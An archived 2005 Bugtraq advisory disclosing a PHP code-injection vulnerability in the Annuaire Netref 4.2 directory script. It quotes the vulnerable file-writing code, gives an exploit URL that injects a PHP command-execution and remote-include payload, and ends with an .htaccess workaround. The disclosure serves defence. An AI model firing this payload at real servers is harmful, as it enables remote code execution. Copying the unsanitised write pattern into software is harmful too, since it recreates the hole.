bugtraq - Annuaire Netref v4.2 [ fwrite php ] vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 20 Apr 2005 00:31:16 +0200
From: jaguar <webmaster@...ab.com>
To: bugtraq@...urityfocus.com
Subject: Annuaire Netref v4.2 [ fwrite php ] vulnerability

Software: annuaire netref
version : 4.2
url : http://www.netref.net
Risk factor : critical

Vendor has been contacted

Description:
-----------

Netref is a PHP/MySQL-based directory script that supports an unlimited
number of categories and links.
Many fonctions to manage the links : Fast search engine with syntax
coloring, Edit icone of category, Alias sites, Check validity of URL,
Possibility to comment the sites, Administrator access to edit all datas
and validate suggested links by users, batch processing, etc.
Also includes Multi-language support (French, English : very easy to add
langage with the system of package).
Very easy to update from older versions.
Very fast rendering.

Vulnerability:
-------------

There is a vulnerability in the handling of input by Netref. Because of
this, it may be possible for a remote user to gain unauthorized access
to the system using the vulnerable software.

The file "script/cat_for_gen.php" does not check the variables $ad,
$ad_direct and $m_for_racine.

*************************** CODE *********************************
if ($ad==1){
	if (!isset($ad_direct)) $ad_direct=""; // variable appelé que dans
certains cas

	$fp=fopen($ad_direct."cache/cat_for.php", "w");
	$temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du formulaire
		$temp.=">$m_for_racine</OPTION>";
		fwrite ($fp,$temp);
*************************** CODE *********************************

We can see that the $m_for_racine variable is not initialized and will
be written in the cache/cat_for.php file. We can inject any php commands !

Exploit:
-------

http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php 

sytem($command);include($remote_script)?>

Solution:
--------

While waiting to upgrade to last version, make a .htaccess file in 
"script/" directory with : deny from all

Credit:
------

jaguar[at]wulab.com
http://jaguar.wulab.com